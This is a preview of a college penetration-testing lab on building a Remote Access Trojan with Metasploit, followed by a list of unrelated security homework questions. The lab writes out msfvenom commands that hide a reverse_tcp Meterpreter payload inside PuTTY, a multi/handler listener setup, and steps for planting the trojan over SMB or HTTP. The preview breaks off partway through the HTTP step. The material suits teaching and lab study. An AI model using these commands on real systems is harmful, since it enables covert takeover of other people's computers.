[Lab-Pentest] Metasploit RAT
.docx
keyboard_arrow_up
School
Madison Area Technical College, Madison *
*We aren’t endorsed by this school
Course
804-208
Subject
Computer Science
Date
Dec 6, 2023
Type
docx
Pages
9
Uploaded by LavonCN on coursehero.com
[Lab-Pentest] Metasploit RAT
Introduction
A Remote Access Trojan (RAT) is an application that hackers use to covertly control a targeted
machine. In this lab we use msfvenom to create a RAT. We will use msfconsole to create a
handler to receive incoming connections from our RAT and interact with the targeted machine.
For this lab Windows 2008RC2 and Windows 10 are the target systems. The Kali Linux
machine is the attacker. There are three stages to this type of attack. The first is to create a
malicious executable, Next we deploy the RAT to the target machine. Finally, we wait for the
target to connect back to the attacking system.
Background
The following sections provide information about your payloads.
32-bit or 64-bit:
The sample executable could be compiled as either a 32-bit or 64-bit application. If we try to
build our trojan using the wrong format our back door will not work. The Windows PE (Portable
Executable) format has many different machine types but we are only concerned with two.
Content
Value
Description
IMAGE_FILE_MACHINE_AMD64
0x8664
[6486]
x64
IMAGE_FILE_MACHINE_I386
0x14c
[
4c01]
Intel 386 or later processors and
compatible processors
We need to check if the executable we downloaded is 64 or 32 bits. A quick and easy way to do
this is using hexdump (this comes already installed on Kali Linux).
hexdump -C -n 200 <base file>.exe
What we are looking for is the line that contains “PE” (Note: This line can be in different places
so run hexdump and look for it).
32-bit Executable:
A 32-bit executable will have the pattern [50 45 00 00 4c 01] on the same line that has the
letters PE.
64-bit Executable:
A 64-bit executable will have the pattern [50 45 00 00 64 86] on the same line that has the
letters PE.
Lab Activities
The following sections walk you through the process of building a RAT, deploying it to your
target and executing it to deliver your payload.
Build the trojan into the base executable:
Depending on the architecture of our target, we need to select a payload that matches. Note:
You will run into problems if you try to put a 64-bit payload into a 32-bit executable or try to
execute a 32-bit payload on a 64-bit architecture.
MSFVenom
Metasploits standalone payload generator. We use this when we want to make file based
metasploit payloads. Payloads can also be created in the msfconsole but a few key features are
missing in that interface to make it ideal for file based executables (No --keep option). Just to
keep things organized it is usually a good idea to make a special directory to build you trojan
executables in (don't want to lose track of these ;) )
To review all of the available payload options, execute msfvenom with the
--payload-
options
argument.
msfvenom --payload-options -p windows/x64/meterpreter/reverse_tcp
For this lab, the following options will be used to generate the malicious version of Putty.
●
-a [--arch]
= The architecture to use
●
--platform
= The platform of the payload
●
-p [--payload]
= Payload to use.
●
-e [--encoder]
= The encoder to use
●
-i [--iterations]
= The number of times to encode the payload
●
-f [--format]
= Output format (use --help-formats for a list)
●
-x [--template]
= Specify a custom executable file to use as a template
●
-o [--out]
= Save the payload to <filename>
●
-k [--keep]
= Preserve the template behavior
For a Windows x64 [64-bit]
Note: You must use a 64-bit application template!
msfvenom -a x64 --platform windows -x putty-64.exe -k -p
windows/x64/meterpreter/reverse_tcp lhost=192.168.1.10 lport=31337 -f
exe -o putty-backdoor.exe
For Windows x86 [32-bit]
Note: You must use a 32-bit application template!
msfvenom -a x86 --platform windows -x putty-32.exe -k -p
windows/meterpreter/reverse_tcp lhost=192.168.1.10 lport=31337 -e
x86/shikata_ga_nai -i 3 -f exe -o putty-backdoor.exe
Command and Control Server [C2]
We need a way to control the target system once we have our RAT running on it. Metasploit
Framework provides the
exploit/multi/handler
module for this purpose.
Metasploit Handler
The metasploit multi-handler is a generic server that we assign different behavior based on the
PAYLOAD we define. In this case we are telling it to create a server and configure it to listen on
port 5000 for a “meterpreter/reverse_tcp” connection.
msf> use exploit/multi/handler
msf exploit(multi/handler) set PAYLOAD
windows/x64/meterpreter/reverse_tcp
msf exploit(multi/handler) set LHOST 192.168.1.10
msf exploit(multi/handler) set LPORT 31337
msf exploit(multi/handler) run
We are now ready to receive connections from our RAT. Next, we need to deploy the RAT to the
target system.
Deploy the RAT
The following sections discuss two techniques to move your RAT onto the target system.
Using SMBClient
The smbclient utility can be used to move files onto a Windows system that exposes the SMB
service. Not that this technique will not work for systems that are filtering inbound SMB
connections using a host-based firewall.
To begin, change to the directory on your Kali system that contains your malicious executables.
[kali] cd ~/assessments/malware/
Next, connect to the target system using the smbclient command in Kali.
[kali] smbclient \\\\192.168.1.1\\c$ -U Administrator
Enter Workgroup\Administrator’s password:
smb: \>
Finally, upload your malicious executable to the target system.
smb: \> put putty-backdoor.exe
smb: \> exit
In general, this interaction is similar to a typical FTP transfer with the main difference being the
use of SMB instead of FTP. At this point, you have uploaded your malicious executable to the
root of the filesystem on the Windows 2008RC2 target.
Using Python3’s HTTP Server
At this point we have produced an executable file that we will need to get onto the target
machine and execute. To accomplish this we will use the HTTP server available as a Python3
module.
Ensure you are in the directory that contains the executables you generated using msfvenom
and execute the python module.
[kali] cd /root/backdoors
[kali] python -m http.server
Your preview ends here
Eager to read complete document? Join bartleby learn and gain access to the full version
- Access to all documents
- Unlimited textbook solutions
- 24/7 expert homework help
Related Questions
This question is designed to gain more experience on symmetric encryption algorithms, encryption modes. The cryptographic library implemented by OpenSSL project will be used in this question. Using OpenSSL from the command line interface
Create a new text file using a notepad or any other software, The text file contains your name(first 8 chars) and the file must be exactly 8 bytes in size only and name it “txt”.
Print screen of your public ip address, repeat it twice and convert it to hexadecimal format then Create another text file and name it “key.txt” contains the doubled IP address in hexadecimal format.
Encrypt the file “txt” using DES, using key.txt as a key and ECB mode of operation. The ciphertext should be in a file named “your_id.enc” and print screen your steps in details. [
Prove and explain by details that the avalanche effect is exist in DES algorithm. you don’t have check the existence of avalanche effect using different plaintext only you can use different keys to…
arrow_forward
Last Stage of Delirium, a security study organisation, created some clean portbinding shellcode for Linux. Shellcode that is clean is shellcode without any NULL symbols. As was already stated, NULL characters prevent the majority of buffer overflow vulnerabilities from being exploited properly because the function stops copying when a NULL byte is encountered. E
arrow_forward
Regenerate code in Python to run in the server program; while the first client is running, start ten other clients that connect to the same server; these clients should be created in the background with their input directed from a file. What happens to these ten clients, do their connect()s fail, time out, or succeed? Do you know if any other calls block? Now, could you let the client exit? Explain what happens
arrow_forward
It is often claimed that passwords do not get saved as plaintext anywhere in systems, and even the system administrator does not know your password. Given what you learned about hash functions. Explain how such a claim is possible. In other words, how do systems perform authentication without having to store passwords in a format that can be read by the system administrators. Authentication is primarily the process of verifying that provided password is correct.
Design a simple authentication system and implement the following two methods:
def signup(username, password
'''store the user credential so that the system knows
how to authenticate the user in the future (when login() gets called).'''def login(username, password): '''returns True, if the provided username and password are correct'''
arrow_forward
UDP Task
In the program explained during the lab, in the client side
The OS assigns the port number automatically.
The client sends a line of characters (data) from its keyboard to server.
Update the client side of program so that it takes 2 arguments
The port it will bind to.
The message that will be sent to the server.
Keep the server side of program as it is
Use the screenshots in the presentation as a reference
check the testArg.py --> an example to show you how to use arguments
TCP Task
In the program explained during the lab
the client sends only 1 message to server ‘hello from tcp client’
server responds with the uppercase message.
Update the program / make a simple chat program so that
Client can send/receive multiple messages to server.
A special exit message is used to disconnect ‘Exit’.
Each time client sends a message, server responds with a confirmation of receiving it and its length
(use the screenshots in the presentation as a reference)…
arrow_forward
UDP Task
In the program explained during the lab, in the client side
The OS assigns the port number automatically.
The client sends a line of characters (data) from its keyboard to server.
Update the client side of program so that it takes 2 arguments
The port it will bind to.
The message that will be sent to the server.
Keep the server side of program as it is
Use the screenshots in the presentation as a reference
check the testArg.py --> an example to show you how to use arguments
TCP Task
In the program explained during the lab
the client sends only 1 message to server ‘hello from tcp client’
server responds with the uppercase message.
Update the program / make a simple chat program so that
Client can send/receive multiple messages to server.
A special exit message is used to disconnect ‘Exit’.
Each time client sends a message, server responds with a confirmation of receiving it and its length
(use the screenshots in the presentation as a reference)…
arrow_forward
A small insurance company has an online application system that allows its customers to interactwith the business (e.g., log claims). Backups of the customers’ details are done on a spreadsheetdocument stored on Google drive. However, anyone who has access to the Google drive link ofthe file can view and modify all the customer details. On the backup, the system administratordoes not have visibility of the modifications made on the file.
By analysing the scenario above, use the security design principles to criticise theoperations of the small insurance company and propose any two simple controlsthat could influence a good security program.
arrow_forward
Sharon recently lost an encryption certificate that rendered some of her EFS-encrypted files unrecoverable. To prevent a similar situation from arising in the future, she wants to create a recovery certificate for recently encrypted files. She creates the recovery certificate.What should Sharon do next?
a.
Run cipher with the /r:filename option, where filename is the name of the recovery certificate
b.
Import the recovery certificate into the local security policy as a data recovery agent
c.
Use the public key of the recovery certificate to encrypt the symmetric key
d.
Run cipher with the /u option to update the existing encrypted files
arrow_forward
An underground resistance group wants to write articles with completely differ- ent security goals. The resistance group shared a secret at the last resistance meeting that they can all use for these articles. Here are their goals:
Only users with the shared secret should be able to upload to the server.
Only users with the shared secret should be able to read the articles.
Any changes to the article should still be easily detectable
The resistance is paranoid about both quantum computers and any mod- ern encryption algorithms so they want to avoid public key cryptography. They only trust AES (symmetric key encryption) and SHA-256 (crypto- graphic hashing) since these have been around for decades and are resistant to quantum computers.
Write a protocol for the underground paper to authenticate authors before publishing to the server. (HINT: Make sure that this protocol cannot be tricked by someone who has been listening to the previous article upload)
Write a protocol for the server…
arrow_forward
How a virus-infecting executable may add itself to an executable. Why must modifications be made to the executable?
arrow_forward
A. COPE is a more relaxed version of BYOD where employees can choose from a list of company-approved devices.
True
False
B. A router crushing can be classified as an event
True
False
C. In Linux file systems, a useful tool is the archive bit in each file’s property.
True
False
arrow_forward
Computer forensics
Discuss some advantages and disadvantages of setting up a forensic workstation based on any distribution of Linux.
arrow_forward
@@@@@
Scenario 1: You are an Application Security Analyst recently your manager asked you to work with the application development team to assist and meet the security requirements for the upcoming projects. The application team wants you to highlight the secure password requirements for the application in development. Based on your knowledge highlight the authentication process in Windows, like the hashing function, encryption standard etc.
answer with in 4-6 line
answer with in 4-6 line
arrow_forward
Attacker VM
Operating system: Linux (Kali)
In this project, you need to perform http DDoS attack to make the web server unresponsive to the client. To do so, you need to install an attack tool such as Hulk or GoldenEye on the attacker VM and configure the tool to launch the http DDoS attack.
arrow_forward
Computer Science
in linux
An important concept in computer security is the principle of least privilege. Each user must be able to access only the information and resources that are necessary for legitimate purposes and activities. With the “principle of least privilege” in mind, how would you configure your Unix/Linux system to designate a small set of users as printer admins? For example, users steve and bob will need to perform printer administration tasks.
This includes running the lpadmin, cupsaccept, cupsreject, cupsenable, cupsdisable, cancel and lprm commands as root.
How will you configure the system to allow these printer admins to do their jobs without having any other kind of root user access?
Provide the relevant config file entries. (Absolute pathnames required for commands)
arrow_forward
Instructions:
1. Read: Computer Security Fundamentals, 4th edition (Chapter Eight)
2. Answer: Answer the following questions:
• Question 1:
It is easy to use encryption to hide messages inside of other objects. Steganography is the art of hidden writing. You can get Hide In Picture (HIP) at https://hide-in-picture.soft112.com/.. You can then encrypt a message or even a program that can be extracted by using an encryption key. Download HIP, hide a text message in a picture, and send the picture and key to your classmate to see whether he can extract the secret message. How could you detect hidden messages in web page images?
Individual Assignment 2
• Question 2:
ROT13 is an interesting encryption algorithm in that it has no key. It uses a form of the Caesar cipher to encrypt text. Try encoding a message by entering text in the box at http://www.rot13.com/. Exchange your encrypted message with someone else in class. Then enter their coded message you've received into the text box.…
arrow_forward
Write a bash script using GREP to detect the following scenario: display all Users who have logged in during non-office hours (8:00AM to 5:00PM).
arrow_forward
Are you in agreement with the statement that "there is no idea of client and server sides of a communication session" while using an application that facilitates peer-to-peer file sharing? There are both positive and negative reasons for doing this.
arrow_forward
Could you please tell me more about the security measures that you intend to use on the Linux servers?
arrow_forward
Help with Python coding issue
The Linux operating system is a very popular server OS. A network administrator has to protect the login/password files stored on the servers. In Linux there are two important files:
/etc/passwd
And it contains rows that look like this:
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin user1:x:15:51:User One:/home/user1:nologin user2:x:15:51:User One:/home/user1:nologin user3:x:15:51:User One:/home/user1:nologin
This file contains login information. It's a list of the server's accounts that has userID, groupID, home directory, shell and more info.
And the second file /etc/shadow, contains rows that look like this:
root:$1$TDQFedzX$.kv51AjM.FInu0lrH1dY30:15045:0:99999:7::: bin:*:14195:0:99999:7::: daemon:*:14195:0:99999:7::: adm:*:14195:0:99999:7::: ftp:*:14195:0:99999:7:::…
arrow_forward
How to remove the item from the cart if the quantity is 0?
I have included my code below that I am confused about how to implement this on.
<?php
session_start();
$page = 'cart';
//DATABASE CONNECTION INFO
include_once ('includes/database.php');
include_once ('includes/header.php');
if(!isset($_COOKIE['loggedIn']))
{
header("location: login.php");
}
if (isset($_POST['update']))
{
for ($x = 0; $x < sizeof($_SESSION['quant']); $x++)
{
$quant_id = 'quant_'.$x;
if($_POST[$quant_id] > 0)
{
$_SESSION['quant'][$x] = $_POST[$quant_id];
}
elseif($_POST[$quant_id] == 0)
{
//HOW DO I REMOVE THE ITEM FROM THE CART IF QUANTITY IS = 0?
}
else
{
echo "Quantity must be greater than 0 to purchase.";
}
}
}
if(isset($_POST['remove']))
{
//HOW DO I REMOVE THE ITEM FROM THE CART IF THE "REMOVE" BUTTON IS CLICKED?
}
if(isset($_POST['submit_order']))
{…
arrow_forward
When dose buffer overflows occur
Buffer overflows occurs when we do not properly account for the size of the data input into an application.
When there is an escalation of privilege in an application
When there is no appropriate authentication mechanism
When authorization is not implemented on a given application.
arrow_forward
Winona has set up AppLocker rules to protect computers on the company network from being infected by malware. Despite this, one of the computers is infected by malware. She identifies that the malware infected the computer when a user ran a malicious .exe file. Which of the following prevented the AppLocker rules from being evaluated?
a.
A Path rule does not allow software to run from C:\Program Files\.
b.
The Windows Installer rules are not configured.
c.
The Executable rules are enforced and not audited.
d.
The Application Identity service is configured for Manual startup.
arrow_forward
: Can I spoof my address during an exploit that uses reverse port-bindingshellcode?
arrow_forward
Knoppix is a Linux distribution that can run entirely from a CD or DVD. Discuss the possibility of using Knoppix (or other similar distributions) as a forensic boot disk.
arrow_forward
The fingerprint-based voting application can recognize users based on their fingerprint patterns. Since fingerprint authentication is unique for each person, the system can quickly identify the voters using their fingerprints. Naturally, a voter can vote for a candidate only once.
The Admin adds all the names and photos of the candidates nominated for the election. The Admin then authenticates users by verifying their identity proof, and after verification, the voter is registered in the system. Furthermore, the Admin even enters the data when the election will end, after which the system will automatically delete the names and photos of the candidates and voters.
The users can log in to the system via the unique user ID and password given by the Admin and then use their fingerprints to vote for their preferred candidate. Once the election is over, and the votes are counted, Both the Admin and users can view the election result using the election ID.
In the capacity of a System…
arrow_forward
SEE MORE QUESTIONS
Recommended textbooks for you
Database System Concepts
Computer Science
ISBN:9780078022159
Author:Abraham Silberschatz Professor, Henry F. Korth, S. Sudarshan
Publisher:McGraw-Hill Education
Starting Out with Python (4th Edition)
Computer Science
ISBN:9780134444321
Author:Tony Gaddis
Publisher:PEARSON
Digital Fundamentals (11th Edition)
Computer Science
ISBN:9780132737968
Author:Thomas L. Floyd
Publisher:PEARSON
C How to Program (8th Edition)
Computer Science
ISBN:9780133976892
Author:Paul J. Deitel, Harvey Deitel
Publisher:PEARSON
Database Systems: Design, Implementation, & Manag...
Computer Science
ISBN:9781337627900
Author:Carlos Coronel, Steven Morris
Publisher:Cengage Learning
Programmable Logic Controllers
Computer Science
ISBN:9780073373843
Author:Frank D. Petruzella
Publisher:McGraw-Hill Education
Related Questions
This question is designed to gain more experience on symmetric encryption algorithms, encryption modes. The cryptographic library implemented by OpenSSL project will be used in this question. Using OpenSSL from the command line interface
Create a new text file using a notepad or any other software, The text file contains your name(first 8 chars) and the file must be exactly 8 bytes in size only and name it “txt”.
Print screen of your public ip address, repeat it twice and convert it to hexadecimal format then Create another text file and name it “key.txt” contains the doubled IP address in hexadecimal format.
Encrypt the file “txt” using DES, using key.txt as a key and ECB mode of operation. The ciphertext should be in a file named “your_id.enc” and print screen your steps in details. [
Prove and explain by details that the avalanche effect is exist in DES algorithm. you don’t have check the existence of avalanche effect using different plaintext only you can use different keys to…
arrow_forward
Last Stage of Delirium, a security study organisation, created some clean portbinding shellcode for Linux. Shellcode that is clean is shellcode without any NULL symbols. As was already stated, NULL characters prevent the majority of buffer overflow vulnerabilities from being exploited properly because the function stops copying when a NULL byte is encountered. E
arrow_forward
Regenerate code in Python to run in the server program; while the first client is running, start ten other clients that connect to the same server; these clients should be created in the background with their input directed from a file. What happens to these ten clients, do their connect()s fail, time out, or succeed? Do you know if any other calls block? Now, could you let the client exit? Explain what happens
arrow_forward
It is often claimed that passwords do not get saved as plaintext anywhere in systems, and even the system administrator does not know your password. Given what you learned about hash functions. Explain how such a claim is possible. In other words, how do systems perform authentication without having to store passwords in a format that can be read by the system administrators. Authentication is primarily the process of verifying that provided password is correct.
Design a simple authentication system and implement the following two methods:
def signup(username, password
'''store the user credential so that the system knows
how to authenticate the user in the future (when login() gets called).'''def login(username, password): '''returns True, if the provided username and password are correct'''
arrow_forward
UDP Task
In the program explained during the lab, in the client side
The OS assigns the port number automatically.
The client sends a line of characters (data) from its keyboard to server.
Update the client side of program so that it takes 2 arguments
The port it will bind to.
The message that will be sent to the server.
Keep the server side of program as it is
Use the screenshots in the presentation as a reference
check the testArg.py --> an example to show you how to use arguments
TCP Task
In the program explained during the lab
the client sends only 1 message to server ‘hello from tcp client’
server responds with the uppercase message.
Update the program / make a simple chat program so that
Client can send/receive multiple messages to server.
A special exit message is used to disconnect ‘Exit’.
Each time client sends a message, server responds with a confirmation of receiving it and its length
(use the screenshots in the presentation as a reference)…
arrow_forward
UDP Task
In the program explained during the lab, in the client side
The OS assigns the port number automatically.
The client sends a line of characters (data) from its keyboard to server.
Update the client side of program so that it takes 2 arguments
The port it will bind to.
The message that will be sent to the server.
Keep the server side of program as it is
Use the screenshots in the presentation as a reference
check the testArg.py --> an example to show you how to use arguments
TCP Task
In the program explained during the lab
the client sends only 1 message to server ‘hello from tcp client’
server responds with the uppercase message.
Update the program / make a simple chat program so that
Client can send/receive multiple messages to server.
A special exit message is used to disconnect ‘Exit’.
Each time client sends a message, server responds with a confirmation of receiving it and its length
(use the screenshots in the presentation as a reference)…
arrow_forward
A small insurance company has an online application system that allows its customers to interactwith the business (e.g., log claims). Backups of the customers’ details are done on a spreadsheetdocument stored on Google drive. However, anyone who has access to the Google drive link ofthe file can view and modify all the customer details. On the backup, the system administratordoes not have visibility of the modifications made on the file.
By analysing the scenario above, use the security design principles to criticise theoperations of the small insurance company and propose any two simple controlsthat could influence a good security program.
arrow_forward
Sharon recently lost an encryption certificate that rendered some of her EFS-encrypted files unrecoverable. To prevent a similar situation from arising in the future, she wants to create a recovery certificate for recently encrypted files. She creates the recovery certificate.What should Sharon do next?
a.
Run cipher with the /r:filename option, where filename is the name of the recovery certificate
b.
Import the recovery certificate into the local security policy as a data recovery agent
c.
Use the public key of the recovery certificate to encrypt the symmetric key
d.
Run cipher with the /u option to update the existing encrypted files
arrow_forward
An underground resistance group wants to write articles with completely differ- ent security goals. The resistance group shared a secret at the last resistance meeting that they can all use for these articles. Here are their goals:
Only users with the shared secret should be able to upload to the server.
Only users with the shared secret should be able to read the articles.
Any changes to the article should still be easily detectable
The resistance is paranoid about both quantum computers and any mod- ern encryption algorithms so they want to avoid public key cryptography. They only trust AES (symmetric key encryption) and SHA-256 (crypto- graphic hashing) since these have been around for decades and are resistant to quantum computers.
Write a protocol for the underground paper to authenticate authors before publishing to the server. (HINT: Make sure that this protocol cannot be tricked by someone who has been listening to the previous article upload)
Write a protocol for the server…
arrow_forward
How a virus-infecting executable may add itself to an executable. Why must modifications be made to the executable?
arrow_forward
A. COPE is a more relaxed version of BYOD where employees can choose from a list of company-approved devices.
True
False
B. A router crushing can be classified as an event
True
False
C. In Linux file systems, a useful tool is the archive bit in each file’s property.
True
False
arrow_forward
Computer forensics
Discuss some advantages and disadvantages of setting up a forensic workstation based on any distribution of Linux.
arrow_forward
arrow_back_ios
SEE MORE QUESTIONS
arrow_forward_ios
Recommended textbooks for you
Database System Concepts
Computer Science
ISBN:9780078022159
Author:Abraham Silberschatz Professor, Henry F. Korth, S. Sudarshan
Publisher:McGraw-Hill Education
Starting Out with Python (4th Edition)
Computer Science
ISBN:9780134444321
Author:Tony Gaddis
Publisher:PEARSON
Digital Fundamentals (11th Edition)
Computer Science
ISBN:9780132737968
Author:Thomas L. Floyd
Publisher:PEARSON
C How to Program (8th Edition)
Computer Science
ISBN:9780133976892
Author:Paul J. Deitel, Harvey Deitel
Publisher:PEARSON
Database Systems: Design, Implementation, & Manag...
Computer Science
ISBN:9781337627900
Author:Carlos Coronel, Steven Morris
Publisher:Cengage Learning
Programmable Logic Controllers
Computer Science
ISBN:9780073373843
Author:Frank D. Petruzella
Publisher:McGraw-Hill Education
Database System Concepts
Computer Science
ISBN:9780078022159
Author:Abraham Silberschatz Professor, Henry F. Korth, S. Sudarshan
Publisher:McGraw-Hill Education
Starting Out with Python (4th Edition)
Computer Science
ISBN:9780134444321
Author:Tony Gaddis
Publisher:PEARSON
Digital Fundamentals (11th Edition)
Computer Science
ISBN:9780132737968
Author:Thomas L. Floyd
Publisher:PEARSON
C How to Program (8th Edition)
Computer Science
ISBN:9780133976892
Author:Paul J. Deitel, Harvey Deitel
Publisher:PEARSON
Database Systems: Design, Implementation, & Manag...
Computer Science
ISBN:9781337627900
Author:Carlos Coronel, Steven Morris
Publisher:Cengage Learning
Programmable Logic Controllers
Computer Science
ISBN:9780073373843
Author:Frank D. Petruzella
Publisher:McGraw-Hill Education